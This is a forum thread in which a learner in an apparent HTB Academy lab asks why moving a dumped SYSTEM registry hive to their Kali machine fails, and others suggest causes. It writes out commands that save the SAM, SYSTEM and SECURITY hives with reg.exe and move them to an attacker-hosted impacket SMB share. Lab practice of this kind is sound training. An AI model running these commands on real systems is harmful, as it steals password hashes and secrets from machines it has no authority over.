I’m currently facing an issue where I am unable to move the system.save to my local host no matter what I try, while I have no problems with the SAM.save and the Security.save. However, when i try the move command on the System.save, I keep getting “An unexpected network error has occured.” Is anyone facing a similar issue?
I’ve also tried restarting the target as well as resetting my openvpn to HTB Academy, not sure what else I can do. Thanks
Hi,
something here makes no sense. If you try to move a file inside the system you shouldn’t have interaction with the net, unless you are in PwnBox (which I don’t think so.)
Which commands are you trying to execute? Please post them here
I’m trying to move the system.save (as well as security.save and sam.save) from the target to my own Kali machine that I connected using the openvpn connection file.
Commands I used:
Creating a Share using smbserver.py (On my kali machine)
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/kali/Documents/
Copying Registry Hives (On target system)
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
move sam.save \\CompData (Successful)
move system.save \\CompData (Unsuccessful)
move security.save \\CompData (Successful)
“An unexpected network error has occured” is what I get prompted with when I try to move the system.save to my machine through the sambashare.
Well explained.
The only thing that comes in brain just like this is a file restriction. Look for any file size limits, restrictions, or specific directives that might block certain files or types of files.
Besides this, got to check the logs.
